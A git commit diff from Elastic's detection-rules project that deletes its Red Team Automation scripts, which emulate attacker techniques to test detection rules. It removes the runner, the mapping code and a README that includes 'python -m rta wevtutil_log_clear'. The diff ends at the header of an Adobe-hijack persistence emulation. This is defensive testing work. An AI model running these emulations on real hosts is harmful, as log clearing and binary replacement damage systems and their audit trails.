chore: Removing RTAs (#4437)
* Delete RTAs * Delete RTA-related orchestration code * Drop RTAs from tests * Remove RTAs from README * Further cleanup * Readme update * Version bump and no more RTAs * Styling fixes * Drop RTAs from config files * Drop `rule-mapping.yaml` * Bring back event collector / normalizer * Drop rta mention * Cleanup rta leftovers * Style fix --------- Co-authored-by: Mika Ayenson, PhD <Mikaayenson@users.noreply.github.com>
This commit is contained in:
@@ -5,7 +5,6 @@ tests/**/*.py @mikaayenson @eric-forte-elastic @terrancedejesus
|
||||
detection_rules/ @mikaayenson @eric-forte-elastic @terrancedejesus
|
||||
tests/ @mikaayenson @eric-forte-elastic @terrancedejesus
|
||||
lib/ @mikaayenson @eric-forte-elastic @terrancedejesus
|
||||
rta/ @mikaayenson @eric-forte-elastic @terrancedejesus
|
||||
hunting/ @mikaayenson @eric-forte-elastic @terrancedejesus
|
||||
|
||||
# skip rta-mapping to avoid the spam
|
||||
|
||||
@@ -12,8 +12,6 @@
|
||||
- "detection_rules/**/*.py"
|
||||
- "kibana/**/*.py"
|
||||
- "kql/**/*.py"
|
||||
- "RTA":
|
||||
- "rta/**/*"
|
||||
- "Hunting":
|
||||
- "hunting/**/*"
|
||||
|
||||
|
||||
@@ -6,21 +6,21 @@ repos:
|
||||
hooks:
|
||||
- id: flake8
|
||||
args: ['--ignore=D203,C901,E501,W503', '--max-line-length=120','--max-complexity=10', '--statistics']
|
||||
exclude: '^rta|^kql'
|
||||
exclude: '^kql'
|
||||
- repo: https://github.com/PyCQA/bandit
|
||||
rev: 1.7.4
|
||||
hooks:
|
||||
- id: bandit
|
||||
args: ['-s', 'B101,B603,B404,B607']
|
||||
exclude: '^rta|^kql'
|
||||
exclude: '^kql'
|
||||
# Potential future rigor
|
||||
# - repo: https://github.com/PyCQA/pylint
|
||||
# rev: v2.15.6
|
||||
# hooks:
|
||||
# - id: pylint
|
||||
# language: system
|
||||
# exclude: '^rta|^kql'
|
||||
# exclude: '^kql'
|
||||
# - repo: https://github.com/PyCQA/isort
|
||||
# rev: 5.10.1
|
||||
# hooks:
|
||||
# - id: isort
|
||||
# - id: isort
|
||||
|
||||
@@ -16,6 +16,7 @@ This repository was first announced on Elastic's blog post, [Elastic Security op
|
||||
- [Overview of this repository](#overview-of-this-repository)
|
||||
- [Getting started](#getting-started)
|
||||
- [How to contribute](#how-to-contribute)
|
||||
- [RTAs](#rtas)
|
||||
- [Licensing](#licensing)
|
||||
- [Questions? Problems? Suggestions?](#questions-problems-suggestions)
|
||||
|
||||
@@ -31,7 +32,6 @@ Detection Rules contains more than just static rule files. This repository also
|
||||
| [`hunting/`](./hunting/) | Root directory where threat hunting package and queries are stored |
|
||||
| [`kibana/`](lib/kibana) | Python library for handling the API calls to Kibana and the Detection Engine |
|
||||
| [`kql/`](lib/kql) | Python library for parsing and validating Kibana Query Language |
|
||||
| [`rta/`](rta) | Red Team Automation code used to emulate attacker techniques, used for rule testing |
|
||||
| [`rules/`](rules) | Root directory where rules are stored |
|
||||
| [`rules_building_block/`](rules_building_block) | Root directory where building block rules are stored |
|
||||
| [`tests/`](tests) | Python code for unit testing rules |
|
||||
@@ -133,9 +133,14 @@ For more advanced command line interface (CLI) usage, refer to the [CLI guide](C
|
||||
|
||||
We welcome your contributions to Detection Rules! Before contributing, please familiarize yourself with this repository, its [directory structure](#overview-of-this-repository), and our [philosophy](PHILOSOPHY.md) about rule creation. When you're ready to contribute, read the [contribution guide](CONTRIBUTING.md) to learn how we turn detection ideas into production rules and validate with testing.
|
||||
|
||||
## RTAs
|
||||
|
||||
Red Team Automations (RTAs) used to emulate attacker techniques and verify the rules can be found in dedicated
|
||||
repository - [Cortado](https://github.com/elastic/cortado).
|
||||
|
||||
## Licensing
|
||||
|
||||
Everything in this repository — rules, code, RTA, etc. — is licensed under the [Elastic License v2](LICENSE.txt). These rules are designed to be used in the context of the Detection Engine within the Elastic Security application. If you’re using our [Elastic Cloud managed service](https://www.elastic.co/cloud/) or the default distribution of the Elastic Stack software that includes the [full set of free features](https://www.elastic.co/subscriptions), you’ll get the latest rules the first time you navigate to the detection engine.
|
||||
Everything in this repository — rules, code, etc. — is licensed under the [Elastic License v2](LICENSE.txt). These rules are designed to be used in the context of the Detection Engine within the Elastic Security application. If you’re using our [Elastic Cloud managed service](https://www.elastic.co/cloud/) or the default distribution of the Elastic Stack software that includes the [full set of free features](https://www.elastic.co/subscriptions), you’ll get the latest rules the first time you navigate to the detection engine.
|
||||
|
||||
Occasionally, we may want to import rules from another repository that already have a license, such as MIT or Apache 2.0. This is welcome, as long as the license permits sublicensing under the Elastic License v2. We keep those license notices in `NOTICE.txt` and sublicense as the Elastic License v2 with all other rules. We also require contributors to sign a [Contributor License Agreement](https://www.elastic.co/contributor-agreement) before contributing code to any Elastic repositories.
|
||||
|
||||
|
||||
@@ -19,7 +19,6 @@ from . import ( # noqa: E402
|
||||
ghwrap,
|
||||
kbwrap,
|
||||
main,
|
||||
mappings,
|
||||
ml,
|
||||
misc,
|
||||
navigator,
|
||||
@@ -37,7 +36,6 @@ __all__ = (
|
||||
'eswrap',
|
||||
'ghwrap',
|
||||
'kbwrap',
|
||||
'mappings',
|
||||
"main",
|
||||
'misc',
|
||||
'ml',
|
||||
|
||||
@@ -265,7 +265,4 @@ def rule_prompt(path=None, rule_type=None, required_only=True, save=True, verbos
|
||||
print('Did not set the following values because they are un-required when set to the default value')
|
||||
print(' - {}'.format('\n - '.join(skipped)))
|
||||
|
||||
# rta_mappings.add_rule_to_mapping_file(rule)
|
||||
# click.echo('Placeholder added to rule-mapping.yaml')
|
||||
|
||||
return rule
|
||||
|
||||
@@ -77,7 +77,6 @@ class PackageDocument(xlsxwriter.Workbook):
|
||||
self.add_summary()
|
||||
self.add_rule_details()
|
||||
self.add_attack_matrix()
|
||||
self.add_rta_mapping()
|
||||
self.add_rule_details(self.deprecated_rules, 'Deprecated Rules')
|
||||
|
||||
def add_summary(self):
|
||||
@@ -172,27 +171,6 @@ class PackageDocument(xlsxwriter.Workbook):
|
||||
|
||||
worksheet.autofilter(0, 0, len(rules) + 1, len(headers) - 1)
|
||||
|
||||
def add_rta_mapping(self):
|
||||
"""Add a worksheet for the RTA/Rule RTA mapping."""
|
||||
from .rule_loader import rta_mappings
|
||||
|
||||
worksheet = self.add_worksheet('RTA Mapping')
|
||||
worksheet.freeze_panes(1, 0)
|
||||
headers = ('Rule ID', 'Rule Name', 'RTA')
|
||||
for column, header in enumerate(headers):
|
||||
worksheet.write(0, column, header, self.default_header_format)
|
||||
|
||||
row = 1
|
||||
for rule_id, mapping in rta_mappings.get_rta_mapping().items():
|
||||
worksheet.write(row, 0, rule_id)
|
||||
worksheet.write(row, 1, mapping['rule_name'])
|
||||
worksheet.write(row, 2, mapping['rta_name'])
|
||||
row += 1
|
||||
|
||||
worksheet.set_column(0, 0, 35)
|
||||
worksheet.set_column(1, 1, 50)
|
||||
worksheet.set_column(2, 2, 35)
|
||||
|
||||
def add_attack_matrix(self):
|
||||
"""Add a worksheet for ATT&CK coverage."""
|
||||
worksheet = self.add_worksheet(attack_tm + ' Coverage')
|
||||
|
||||
+13
-18
@@ -21,9 +21,9 @@ from .config import parse_rules_config
|
||||
from .main import root
|
||||
from .misc import add_params, client_error, elasticsearch_options, get_elasticsearch_client, nested_get
|
||||
from .rule import TOMLRule
|
||||
from .rule_loader import rta_mappings, RuleCollection
|
||||
from .utils import format_command_options, normalize_timing_and_sort, unix_time_to_formatted, get_path
|
||||
|
||||
from .rule_loader import RuleCollection
|
||||
from .utils import format_command_options, normalize_timing_and_sort, unix_time_to_formatted, get_path
|
||||
|
||||
COLLECTION_DIR = get_path('collections')
|
||||
MATCH_ALL = {'bool': {'filter': [{'match_all': {}}]}}
|
||||
@@ -60,7 +60,7 @@ def parse_unique_field_results(rule_type: str, unique_fields: List[str], search_
|
||||
return {'results': parsed_results} if parsed_results else {}
|
||||
|
||||
|
||||
class RtaEvents:
|
||||
class Events:
|
||||
"""Events collected from Elasticsearch."""
|
||||
|
||||
def __init__(self, events):
|
||||
@@ -87,7 +87,7 @@ class RtaEvents:
|
||||
os.makedirs(dump_dir, exist_ok=True)
|
||||
return dump_dir
|
||||
|
||||
def evaluate_against_rule_and_update_mapping(self, rule_id, rta_name, verbose=True):
|
||||
def evaluate_against_rule(self, rule_id, verbose=True):
|
||||
"""Evaluate a rule against collected events and update mapping."""
|
||||
from .utils import combine_sources, evaluate
|
||||
|
||||
@@ -96,15 +96,10 @@ class RtaEvents:
|
||||
merged_events = combine_sources(*self.events.values())
|
||||
filtered = evaluate(rule, merged_events, normalize_kql_keywords=RULES_CONFIG.normalize_kql_keywords)
|
||||
|
||||
if filtered:
|
||||
sources = [e['agent']['type'] for e in filtered]
|
||||
mapping_update = rta_mappings.add_rule_to_mapping_file(rule, len(filtered), rta_name, *sources)
|
||||
if verbose:
|
||||
click.echo('Matching results found')
|
||||
|
||||
if verbose:
|
||||
click.echo('Updated rule-mapping file with: \n{}'.format(json.dumps(mapping_update, indent=2)))
|
||||
else:
|
||||
if verbose:
|
||||
click.echo('No updates to rule-mapping file; No matching results')
|
||||
return filtered
|
||||
|
||||
def echo_events(self, pager=False, pretty=True):
|
||||
"""Print events to stdout."""
|
||||
@@ -322,8 +317,8 @@ class CollectEvents(object):
|
||||
return survey_results
|
||||
|
||||
|
||||
class CollectRtaEvents(CollectEvents):
|
||||
"""Collect RTA events from elasticsearch."""
|
||||
class CollectEventsWithDSL(CollectEvents):
|
||||
"""Collect events from elasticsearch."""
|
||||
|
||||
@staticmethod
|
||||
def _group_events_by_type(events):
|
||||
@@ -340,7 +335,7 @@ class CollectRtaEvents(CollectEvents):
|
||||
results = self.search(dsl, language='dsl', index=indexes, start_time=start_time, end_time='now', size=5000,
|
||||
sort=[{'@timestamp': {'order': 'asc'}}])
|
||||
events = self._group_events_by_type(results)
|
||||
return RtaEvents(events)
|
||||
return Events(events)
|
||||
|
||||
|
||||
@root.command('normalize-data')
|
||||
@@ -348,7 +343,7 @@ class CollectRtaEvents(CollectEvents):
|
||||
def normalize_data(events_file):
|
||||
"""Normalize Elasticsearch data timestamps and sort."""
|
||||
file_name = os.path.splitext(os.path.basename(events_file.name))[0]
|
||||
events = RtaEvents({file_name: [json.loads(e) for e in events_file.readlines()]})
|
||||
events = Events({file_name: [json.loads(e) for e in events_file.readlines()]})
|
||||
events.save(dump_dir=os.path.dirname(events_file.name))
|
||||
|
||||
|
||||
@@ -383,7 +378,7 @@ def collect_events(ctx, host_id, query, index, rta_name, rule_id, view_events):
|
||||
dsl['bool'].setdefault('filter', []).append({'bool': {'should': [{'match_phrase': {'host.id': host_id}}]}})
|
||||
|
||||
try:
|
||||
collector = CollectRtaEvents(client)
|
||||
collector = CollectEventsWithDSL(client)
|
||||
start = time.time()
|
||||
click.pause('Press any key once detonation is complete ...')
|
||||
start_time = f'now-{round(time.time() - start) + 5}s'
|
||||
@@ -391,7 +386,7 @@ def collect_events(ctx, host_id, query, index, rta_name, rule_id, view_events):
|
||||
events.save(rta_name=rta_name, host_id=host_id)
|
||||
|
||||
if rta_name and rule_id:
|
||||
events.evaluate_against_rule_and_update_mapping(rule_id, rta_name)
|
||||
events.evaluate_against_rule(rule_id)
|
||||
|
||||
if view_events and events.events:
|
||||
events.echo_events(pager=True)
|
||||
|
||||
@@ -1,2 +0,0 @@
|
||||
---
|
||||
{}
|
||||
@@ -27,7 +27,6 @@ from .config import load_current_package_version, parse_rules_config
|
||||
from .generic_loader import GenericCollection
|
||||
from .exception import (TOMLExceptionContents,
|
||||
build_exception_objects, parse_exceptions_results_from_api)
|
||||
from .mappings import build_coverage_map, get_triggered_rules, print_converage_summary
|
||||
from .misc import (
|
||||
add_client, client_error, nested_set, parse_user_config
|
||||
)
|
||||
@@ -696,29 +695,3 @@ def prep_rule(author: str):
|
||||
updated_rule.write_text(json.dumps(template_rule, sort_keys=True))
|
||||
click.echo(f'Rule saved to: {updated_rule}. Import this to Kibana to create alerts on all dnstwist-* indexes')
|
||||
click.echo('Note: you only need to import and enable this rule one time for all dnstwist-* indexes')
|
||||
|
||||
|
||||
@root.group('rta')
|
||||
def rta_group():
|
||||
"""Commands related to Red Team Automation (RTA) scripts."""
|
||||
|
||||
|
||||
# create command to show rule-rta coverage
|
||||
@rta_group.command('coverage')
|
||||
@click.option("-o", "--os-filter", default="all",
|
||||
help="Filter rule coverage summary by OS. (E.g. windows) Default: all")
|
||||
def rta_coverage(os_filter: str):
|
||||
"""Show coverage of RTA / rules by os type."""
|
||||
|
||||
# get all rules
|
||||
all_rules = RuleCollection.default()
|
||||
|
||||
# get rules triggered by RTA
|
||||
triggered_rules = get_triggered_rules()
|
||||
|
||||
# build coverage map
|
||||
coverage_map = build_coverage_map(triggered_rules, all_rules)
|
||||
|
||||
# # print summary
|
||||
all_rule_count = len(all_rules.rules)
|
||||
print_converage_summary(coverage_map, all_rule_count, os_filter)
|
||||
|
||||
@@ -1,154 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
"""RTA to rule mappings."""
|
||||
from collections import defaultdict
|
||||
from pathlib import Path
|
||||
|
||||
from rta import get_available_tests
|
||||
|
||||
from .rule import TOMLRule
|
||||
from .schemas import validate_rta_mapping
|
||||
from .utils import get_path, load_etc_dump, save_etc_dump
|
||||
|
||||
RTA_DIR = get_path("rta")
|
||||
RTA_PLATFORM_TYPES = ["windows", "linux", "macos"]
|
||||
|
||||
|
||||
class RtaMappings:
|
||||
"""Rta-mapping helper class."""
|
||||
|
||||
def __init__(self):
|
||||
"""Rta-mapping validation and prep."""
|
||||
self.mapping: dict = load_etc_dump('rule-mapping.yaml')
|
||||
self.validate()
|
||||
|
||||
self._rta_mapping = defaultdict(list)
|
||||
self._remote_rta_mapping = {}
|
||||
self._rule_mappings = {}
|
||||
|
||||
def validate(self):
|
||||
"""Validate mapping against schema."""
|
||||
for k, v in self.mapping.items():
|
||||
validate_rta_mapping(v)
|
||||
|
||||
def add_rule_to_mapping_file(self, rule, rta_name, count=0, *sources):
|
||||
"""Insert a rule mapping into the mapping file."""
|
||||
mapping = self.mapping
|
||||
rule_map = {
|
||||
'count': count,
|
||||
'rta_name': rta_name,
|
||||
'rule_name': rule.name,
|
||||
}
|
||||
|
||||
if sources:
|
||||
rule_map['sources'] = list(sources)
|
||||
|
||||
mapping[rule.id] = rule_map
|
||||
self.mapping = dict(sorted(mapping.items()))
|
||||
save_etc_dump(self.mapping, 'rule-mapping.yaml')
|
||||
return rule_map
|
||||
|
||||
def get_rta_mapping(self):
|
||||
"""Build the rule<-->rta mapping based off the mapping file."""
|
||||
if not self._rta_mapping:
|
||||
self._rta_mapping = self.mapping.copy()
|
||||
|
||||
return self._rta_mapping
|
||||
|
||||
def get_rta_files(self, rta_list=None, rule_ids=None):
|
||||
"""Get the full paths to RTA files, given a list of names or rule ids."""
|
||||
full_rta_mapping = self.get_rta_mapping()
|
||||
rta_files = set()
|
||||
rta_list = set(rta_list or [])
|
||||
|
||||
if rule_ids:
|
||||
for rule_id, rta_map in full_rta_mapping.items():
|
||||
if rule_id in rule_ids:
|
||||
rta_list.update(rta_map)
|
||||
|
||||
for rta_name in rta_list:
|
||||
# rip off the extension and add .py
|
||||
rta_name = Path(rta_name).stem
|
||||
rta_path = (RTA_DIR / rta_name).with_suffix(".py").resolve()
|
||||
if rta_path.exists():
|
||||
rta_files.add(rta_path)
|
||||
|
||||
return list(sorted(rta_files))
|
||||
|
||||
|
||||
def get_triggered_rules() -> dict:
|
||||
"""Get the rules that are triggered by each RTA."""
|
||||
triggered_rules = {}
|
||||
for rta_test in list(get_available_tests().values()):
|
||||
for rule_info in rta_test.get("siem", []):
|
||||
rule_id = rule_info.get("rule_id")
|
||||
for platform in rta_test.get("platforms", []):
|
||||
triggered_rules.setdefault(platform, []).append(rule_id)
|
||||
return triggered_rules
|
||||
|
||||
|
||||
def get_platform_list(rule: TOMLRule) -> list:
|
||||
"""Get the list of OSes for a rule."""
|
||||
os_list = []
|
||||
if rule.contents.metadata.os_type_list:
|
||||
os_list = [r.lower() for r in rule.contents.metadata.os_list]
|
||||
elif rule.contents.data.tags:
|
||||
tags = [t.lower() for t in rule.contents.data.tags]
|
||||
os_list = [t for t in RTA_PLATFORM_TYPES if t in tags]
|
||||
return os_list
|
||||
|
||||
|
||||
def build_coverage_map(triggered_rules: dict, all_rules) -> dict:
|
||||
"""Get the rules that are not covered by each rta."""
|
||||
|
||||
# avoid a circular import
|
||||
from .rule_loader import RuleCollection
|
||||
all_rules: RuleCollection
|
||||
|
||||
coverage_map = {"all": 0}
|
||||
for rule in all_rules.rules:
|
||||
rule_covered = False
|
||||
os_list = get_platform_list(rule)
|
||||
|
||||
for os_type in os_list:
|
||||
prefix = ""
|
||||
|
||||
if rule.contents.metadata.maturity == "development":
|
||||
prefix = "DIAG : "
|
||||
elif rule.contents.metadata.maturity == "deprecated":
|
||||
prefix = "DEPR : "
|
||||
|
||||
if rule.id in triggered_rules[os_type]:
|
||||
coverage_map.setdefault(os_type, {}).setdefault("supported", []).append(f"- [x] {prefix}{rule.name}")
|
||||
rule_covered = True
|
||||
else:
|
||||
coverage_map.setdefault(os_type, {}).setdefault("unsupported", []).append(f"- [ ] {prefix}{rule.name}")
|
||||
if rule_covered:
|
||||
coverage_map["all"] += 1
|
||||
|
||||
return coverage_map
|
||||
|
||||
|
||||
def print_converage_summary(coverage_map: dict, all_rule_count: int, os_filter: str):
|
||||
"""Print the coverage summary."""
|
||||
print("\n\nCoverage Report\n")
|
||||
supported_count = coverage_map["all"]
|
||||
print(f"{supported_count} / {all_rule_count} unique detection rules are supported by RTAs for all OS types")
|
||||
|
||||
for os_type, results in coverage_map.items():
|
||||
|
||||
if os_type != "all" and (os_type == os_filter or os_filter == "all"):
|
||||
supported = results["supported"]
|
||||
unsupported = results["unsupported"]
|
||||
|
||||
print(f"\n{os_type} coverage: {len(supported)} / {len(supported) + len(unsupported)}")
|
||||
print("Supported:")
|
||||
for rule in sorted(set(supported)):
|
||||
print(f"\t{rule}")
|
||||
|
||||
print("Unsupported:")
|
||||
for rule in sorted(set(unsupported)):
|
||||
print(f"\t{rule}")
|
||||
@@ -17,7 +17,6 @@ from marshmallow.exceptions import ValidationError
|
||||
|
||||
from . import utils
|
||||
from .config import parse_rules_config
|
||||
from .mappings import RtaMappings
|
||||
from .rule import (
|
||||
DeprecatedRule, DeprecatedRuleContents, DictRule, TOMLRule, TOMLRuleContents
|
||||
)
|
||||
@@ -629,8 +628,6 @@ def load_github_pr_rules(labels: list = None, repo: str = 'elastic/detection-rul
|
||||
return new, modified, errors
|
||||
|
||||
|
||||
rta_mappings = RtaMappings()
|
||||
|
||||
__all__ = (
|
||||
"FILE_PATTERN",
|
||||
"DEFAULT_PREBUILT_RULES_DIRS",
|
||||
@@ -643,5 +640,4 @@ __all__ = (
|
||||
"metadata_filter",
|
||||
"production_filter",
|
||||
"dict_filter",
|
||||
"rta_mappings"
|
||||
)
|
||||
|
||||
@@ -13,7 +13,6 @@ from semver import Version
|
||||
from ..config import load_current_package_version, parse_rules_config
|
||||
from ..utils import cached, get_etc_path
|
||||
from . import definitions
|
||||
from .rta_schema import validate_rta_mapping
|
||||
from .stack_compat import get_incompatible_fields
|
||||
|
||||
|
||||
@@ -25,7 +24,6 @@ __all__ = (
|
||||
"get_min_supported_stack_version",
|
||||
"get_stack_schemas",
|
||||
"get_stack_versions",
|
||||
"validate_rta_mapping",
|
||||
"all_versions",
|
||||
)
|
||||
|
||||
|
||||
@@ -1,24 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
import jsl
|
||||
import jsonschema
|
||||
|
||||
|
||||
class MappingCount(jsl.Document):
|
||||
"""Mapping count schema."""
|
||||
|
||||
count = jsl.IntField(minimum=0, required=True)
|
||||
rta_name = jsl.StringField(pattern=r'[a-zA-Z-_]+', required=True)
|
||||
rule_name = jsl.StringField(required=True)
|
||||
sources = jsl.ArrayField(jsl.StringField(), min_items=1)
|
||||
|
||||
|
||||
mapping_schema = MappingCount.get_schema()
|
||||
|
||||
|
||||
def validate_rta_mapping(mapping):
|
||||
"""Validate the RTA mapping."""
|
||||
jsonschema.validate(mapping, mapping_schema)
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
[project]
|
||||
name = "detection_rules"
|
||||
version = "0.4.16"
|
||||
version = "0.4.17"
|
||||
description = "Detection Rules is the home for rules used by Elastic Security. This repository is used for the development, maintenance, testing, validation, and release of rules for Elastic Security’s Detection Engine."
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.12"
|
||||
@@ -54,7 +54,7 @@ hunting = ["tabulate==0.9.0"]
|
||||
|
||||
[tool.setuptools]
|
||||
package-data = {"kql" = ["*.g"]}
|
||||
packages = ["detection_rules", "rta", "hunting"]
|
||||
packages = ["detection_rules", "hunting"]
|
||||
|
||||
[tool.pytest.ini_options]
|
||||
filterwarnings = [
|
||||
|
||||
@@ -1,25 +0,0 @@
|
||||
## Red Team Automation
|
||||
|
||||
[](https://www.python.org/downloads/)
|
||||
[](https://ela.st/slack)
|
||||
|
||||
The repo comes with some red team automation ([RTA](./)) python scripts that run on Windows, Mac OS, and \*nix.
|
||||
RTA scripts emulate known attacker behaviors and are an easy way too verify that your rules are active and working as expected.
|
||||
|
||||
```console
|
||||
$ python -m rta -h
|
||||
usage: rta [-h] ttp_name
|
||||
|
||||
positional arguments:
|
||||
ttp_name
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
```
|
||||
`ttp_name` can be found in the [rta](.) directory. For example to execute `./rta/wevtutil_log_clear.py` script, run command:
|
||||
|
||||
```console
|
||||
$ python -m rta wevtutil_log_clear
|
||||
```
|
||||
|
||||
Most of the RTA scripts contain a comment with the rule name, in `signal.rule.name`, that maps to the Kibana Detection Signals.
|
||||
-100
@@ -1,100 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
import importlib
|
||||
import inspect
|
||||
from dataclasses import asdict, dataclass, field
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional
|
||||
|
||||
from . import common
|
||||
|
||||
# Definitions
|
||||
CURRENT_DIR = Path(__file__).resolve().parent
|
||||
RULE_META_KEYS = ["rule_id", "rule_name"]
|
||||
|
||||
@dataclass
|
||||
class RtaMetadata:
|
||||
"""Metadata associated with all RTAs."""
|
||||
|
||||
uuid: str
|
||||
platforms: List[str]
|
||||
path: Path = field(init=False)
|
||||
name: str = field(init=False)
|
||||
endpoint: Optional[List[Dict[str, str]]] = None
|
||||
siem: Optional[List[Dict[str, str]]] = None
|
||||
techniques: Optional[List[str]] = None
|
||||
|
||||
def __post_init__(self):
|
||||
"""Set the path and name based on the callee and check for platforms."""
|
||||
|
||||
# Set the path of the callee
|
||||
for frame in inspect.stack():
|
||||
self.path = Path(frame.filename)
|
||||
self.name = self.path.name
|
||||
if frame.function == "<module>" and valid_rta_file(self.path):
|
||||
break
|
||||
|
||||
# Check for valid platforms
|
||||
if not self.platforms and (self.endpoint or self.siem):
|
||||
raise ValueError(f"RTA {self.name} has no platforms specified but has rule info provided.")
|
||||
|
||||
# Check for valid rule metadata
|
||||
self._validate_rule_metadata(self.endpoint, "endpoint")
|
||||
self._validate_rule_metadata(self.siem, "siem")
|
||||
|
||||
def _validate_rule_metadata(self, rules: Optional[List[Dict[str, str]]], field_name: str):
|
||||
"""Check for valid rule metadata"""
|
||||
if rules:
|
||||
for rule in rules:
|
||||
if sorted(rule.keys()) != RULE_META_KEYS:
|
||||
raise ValueError(f"RTA {self.name} has invalid {field_name} field in metadata.")
|
||||
|
||||
def valid_rta_file(file_path: str) -> bool:
|
||||
return file_path.stem not in ["init", "common", "main"] and not file_path.name.startswith("_")
|
||||
|
||||
|
||||
def get_available_tests(print_list: bool = False, os_filter: str = None) -> Dict[str, dict]:
|
||||
"""Get a list of available tests."""
|
||||
|
||||
test_metadata = {}
|
||||
|
||||
for file in CURRENT_DIR.rglob("*.py"):
|
||||
|
||||
if valid_rta_file(file):
|
||||
module = importlib.import_module(f"rta.{file.stem}")
|
||||
|
||||
if os_filter and os_filter not in module.metadata.platforms and os_filter != "all":
|
||||
continue
|
||||
|
||||
test_metadata[file.stem] = asdict(module.metadata)
|
||||
|
||||
if print_list:
|
||||
py_ext = 3 # account for the .py ext
|
||||
longest_test_name = len(max(test_metadata.keys(), key=len)) + py_ext
|
||||
header = f"{'name':{longest_test_name}} | {'platforms':<21} | {'rule id':<36} | {'rule name':<30}"
|
||||
|
||||
print("Printing available tests")
|
||||
print(header)
|
||||
print("=" * len(header))
|
||||
|
||||
for test in test_metadata.values():
|
||||
rule_list = []
|
||||
if test['endpoint'] and test['siem']:
|
||||
rule_list = test['endpoint'] + test['siem']
|
||||
elif test['endpoint']:
|
||||
rule_list = test['endpoint']
|
||||
elif test['siem']:
|
||||
rule_list = test['siem']
|
||||
else:
|
||||
rule_list = [{"rule_name": "", "rule_id": ""}]
|
||||
print(f"{test['name']:<{longest_test_name}} | {', '.join(test['platforms']):<21} | {rule_list[0]['rule_id']:36} | {rule_list[0]['rule_name']}")
|
||||
for rule in rule_list[1:]:
|
||||
print(f"{'':<{longest_test_name}} | {'':<21} | {rule['rule_id']:36} | {rule['rule_name']}")
|
||||
|
||||
return test_metadata
|
||||
|
||||
|
||||
__all__ = "common"
|
||||
@@ -1,77 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
import argparse
|
||||
import difflib
|
||||
import importlib
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from . import get_available_tests
|
||||
from .common import CURRENT_OS
|
||||
|
||||
|
||||
DELAY = 1
|
||||
RTA_PLATFORM_TYPES = ["windows", "linux", "macos"]
|
||||
|
||||
|
||||
def run_all():
|
||||
"""Run a single RTA."""
|
||||
errors = []
|
||||
for ttp_file in get_available_tests(os_filter=CURRENT_OS):
|
||||
print(f"---- {Path(ttp_file).name} ----")
|
||||
p = subprocess.Popen([sys.executable, "-m", "rta", "-n", ttp_file])
|
||||
p.wait()
|
||||
code = p.returncode
|
||||
|
||||
if p.returncode:
|
||||
errors.append((ttp_file, code))
|
||||
|
||||
time.sleep(DELAY)
|
||||
print("")
|
||||
|
||||
return len(errors)
|
||||
|
||||
|
||||
def run(ttp_name: str, *args):
|
||||
"""Run all RTAs compatible with OS."""
|
||||
ttp_names = sorted(get_available_tests())
|
||||
if ttp_name not in ttp_names:
|
||||
suggestion = ', '.join(difflib.get_close_matches(ttp_name, ttp_names, n=3))
|
||||
if suggestion:
|
||||
suggestion = f"Did you mean {suggestion}?"
|
||||
raise ValueError(f"Unknown RTA {ttp_name}. {suggestion}")
|
||||
|
||||
module = importlib.import_module("rta." + ttp_name)
|
||||
return module.main(*args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser("rta")
|
||||
parser.add_argument("-n", "--name", dest="name", nargs='+',
|
||||
help="Name(s) of test(s) to execute. E.g. bitsadmin_execution adobe_hijack")
|
||||
parser.add_argument("-l", "--list", dest="list", action="store_true", help="Print a list of available tests")
|
||||
parser.add_argument("-o", "--os-filter", dest="os_filter", default="all", choices=RTA_PLATFORM_TYPES,
|
||||
help="Filter rule coverage summary by OS. (E.g. windows) Default: all",)
|
||||
parser.add_argument("--run-all", action="store_true")
|
||||
parser.add_argument("--delay", type=int, help="For run-all, the delay between executions")
|
||||
parsed_args, remaining = parser.parse_known_args()
|
||||
|
||||
if parsed_args.name:
|
||||
if parsed_args.run_all:
|
||||
raise ValueError(f"Pass ttp --name or --run-all, not both")
|
||||
else:
|
||||
for rta_test in parsed_args.name:
|
||||
rta_name = Path(rta_test).stem
|
||||
exit(run(rta_name, *remaining))
|
||||
|
||||
elif parsed_args.list:
|
||||
get_available_tests(print_list=True, os_filter=parsed_args.os_filter)
|
||||
elif parsed_args.run_all:
|
||||
exit(run_all())
|
||||
else:
|
||||
print("Execute 'python -m rta -h' to see available options")
|
||||
@@ -1,55 +0,0 @@
|
||||
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
||||
# or more contributor license agreements. Licensed under the Elastic License
|
||||
# 2.0; you may not use this file except in compliance with the Elastic License
|
||||
# 2.0.
|
||||
|
||||
# Name: Adobe Hijack Persistence
|
||||
# ATT&CK: T1044
|
||||
# Description: Replaces PE file that will run on Adobe Reader start.
|
||||
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
from . import RtaMetadata, common
|
||||
|
||||
metadata = RtaMetadata(
|
||||
uuid="2df08481-31db-44a8-b01d-1c0df827bddb",
|
||||
platforms=["windows"],
|
||||
endpoint=[],
|
||||
siem=[{"rule_id": "2bf78aa2-9c56-48de-b139-f169bf99cf86", "rule_name": "Adobe Hijack Persistence"}],
|
||||
techniques=["T1574"],
|
||||
)
|
||||
|
||||
|
||||
@common.requires_os(*metadata.platforms)
|
||||
def main() -> None:
|
||||
